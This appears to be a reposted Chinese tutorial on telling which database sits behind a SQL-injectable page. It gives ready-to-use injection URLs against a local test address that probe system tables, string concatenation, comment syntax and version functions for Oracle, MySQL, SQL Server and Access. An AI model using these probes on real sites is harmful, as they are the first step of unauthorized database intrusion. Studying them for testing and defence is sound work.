SQL注入判斷數據庫類型


頁面返回的報錯信息判斷

默認端口判斷

  1. Oracle
    port:1521
  2. SQL Server
    port:1433
  3. MySQL
    port:3306

數據庫特有的數據表判斷

oracle數據庫

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

mysql數據庫(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

access數據庫

http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

mssql數據庫

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

數據庫特有的連接符判斷

mysql數據庫

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

mssql數據庫

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

oracle數據庫

http://127.0.0.1/test.php?id=1 and '1'||'1'='11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

符號判斷

  1. mysql數據庫:(1)以" /* "開始,以" */ "結束。(2)或者" # "。
  2. Oracle: 支持單行注釋" -- "和多行注釋" /* */ "
  3. " ; "是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數據庫

特定函數判斷

length() lengthb() char_length()

  1. Oracle: length():表示字符串長度 lengthb():表示字符串的字節長度
  2. mysql:length():返回字符串所占的字節數 char_length():返回字符串的字符數

@@version version()

mysql: @@version或是version()來返回當前的版本信息。
但無法判斷是mysql還是mssql時,可以用version()函數來構造判斷。
version()>1 返回與@@version>1 相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。

substring substr

在mssql中可以調用substring(), oracle則只可調用substr()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM